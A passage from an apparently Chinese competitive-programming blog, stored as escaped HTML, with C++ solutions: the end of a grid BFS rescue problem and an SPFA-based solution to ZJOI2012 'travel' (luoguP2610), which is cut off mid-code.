class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ebfsCore.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(\u003cspan class=\"built_in\"\u003epoint\u003c/span\u003e(nextX, nextY, newGemInfo, currentLoc.timePassed + \u003cspan class=\"number\"\u003e1\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (map[currentLoc.x][currentLoc.y] == \u003cspan class=\"string\"\u003e\u0026#39;$\u0026#39;\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; cntPortal; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; j++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e nextX = portalList[i].x + dirX[j];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e nextY = portalList[i].y + dirY[j];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (nextX \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; nextX \u0026lt; sizeY \u0026amp;\u0026amp; nextY \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; nextY \u0026lt; sizeX \u0026amp;\u0026amp; map[nextX][nextY] != \u003cspan class=\"string\"\u003e\u0026#39;#\u0026#39;\u003c/span\u003e \u0026amp;\u0026amp; visited[nextX][nextY][currentLoc.kindsOfGemsCollected] == \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evisited[nextX][nextY][currentLoc.kindsOfGemsCollected] = \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ebfsCore.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(\u003cspan class=\"built_in\"\u003epoint\u003c/span\u003e(nextX, nextY, currentLoc.kindsOfGemsCollected, currentLoc.timePassed + \u003cspan class=\"number\"\u003e1\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eTimeToSavePrincess = Never;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cases;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecin \u0026gt;\u0026gt; cases;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (cases--) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(visited, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e\u003c/span\u003e(visited));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//attention::\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//there\u0026#39;s difference between prince and princess!!!!\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//prince is man and princess is woman!!!!\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cnt = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecin \u0026gt;\u0026gt; sizeY \u0026gt;\u0026gt; sizeX \u0026gt;\u0026gt; kindsOfGemsTOCollect;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; sizeY; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; sizeX; j++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecin \u0026gt;\u0026gt; map[i][j];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e\u003c/span\u003e (map[i][j]) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;$\u0026#39;\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eportalList[cnt].x = i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eportalList[cnt].y = j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecnt++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;S\u0026#39;\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eprinceLocX = i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eprinceLocY = j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap[i][j] = \u003cspan class=\"string\"\u003e\u0026#39;.\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;E\u0026#39;\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eprincessLocX = i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eprincessLocY = j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap[i][j] = \u003cspan class=\"string\"\u003e\u0026#39;.\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ebfs\u003c/span\u003e(princeLocX, princeLocY, princessLocX, princessLocY, cnt);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (TimeToSavePrincess != Never)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; TimeToSavePrincess \u0026lt;\u0026lt; endl;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e cout \u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026#34;oop!\\n\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"旅游\"\u003e旅游\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e来源: luoguP2610/ZJOI2012\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e由于这样的图一定有:连了两条边的点有且仅有两个,这两个点之间的路径能够通过所有的城市\u003cbr/\u003e所以就是要找到任意一个连了两条边的点\u003cbr/\u003e对于任意的点,最短路径最长的那个节点总是如上所述的点。\u003cbr/\u003e所以对任意节点SPFA,然后找到$max(dis[i])$,再从这里重新SPFA,$output(max(dis[i]))$\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;vector\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;algorithm\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;queue\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;cstdio\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003enextInt\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e ret = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e buf = \u003cspan class=\"built_in\"\u003egetchar\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!\u003cspan class=\"built_in\"\u003eisdigit\u003c/span\u003e(buf))buf = \u003cspan class=\"built_in\"\u003egetchar\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eisdigit\u003c/span\u003e(buf)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ret *= \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ret += buf - \u003cspan class=\"string\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e buf = \u003cspan class=\"built_in\"\u003egetchar\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ret;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eputInt\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e buf[\u003cspan class=\"number\"\u003e10\u003c/span\u003e], cnt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cnt = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (x)buf[cnt++] = x % \u003cspan class=\"number\"\u003e10\u003c/span\u003e, x /= \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (cnt--)\u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(buf[cnt] + \u003cspan class=\"string\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eGraph\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;map[\u003cspan class=\"number\"\u003e200001\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003econnect\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e a, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e b)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e map[a].\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e map[b].\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eSPFA\u003c/span\u003e :\u003c/span\u003eGraph {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dis[\u003cspan class=\"number\"\u003e200001\u003c/span\u003e]; \u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e inQueue[\u003cspan class=\"number\"\u003e200001\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003ework\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(inQueue, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e inQueue);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(dis, \u003cspan class=\"number\"\u003e-1\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e dis);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e queue\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;joblist;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(x); dis[x] = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e inQueue[x] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (joblist.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e()) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current = joblist.\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e(); joblist.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; map[current].\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(); i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (dis[map[current][i]] \u0026lt; \u003cspan class=\"number\"\u003e1\u003c/span\u003e + dis[current]) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e dis[map[current][i]] = dis[current] + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!inQueue[map[current][i]]) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(map[current][i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e inQueue[map[current][i]] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}G;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eCityEdge\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e a, b, city_id;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efriend\u003c/span\u003e \u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"keyword\"\u003eoperator\u003c/span\u003e \u0026lt;(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e CityEdge \u0026amp;a, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e CityEdge \u0026amp;b) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a.b == b.b)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a.a \u0026lt; b.a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a.b \u0026lt; b.b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan 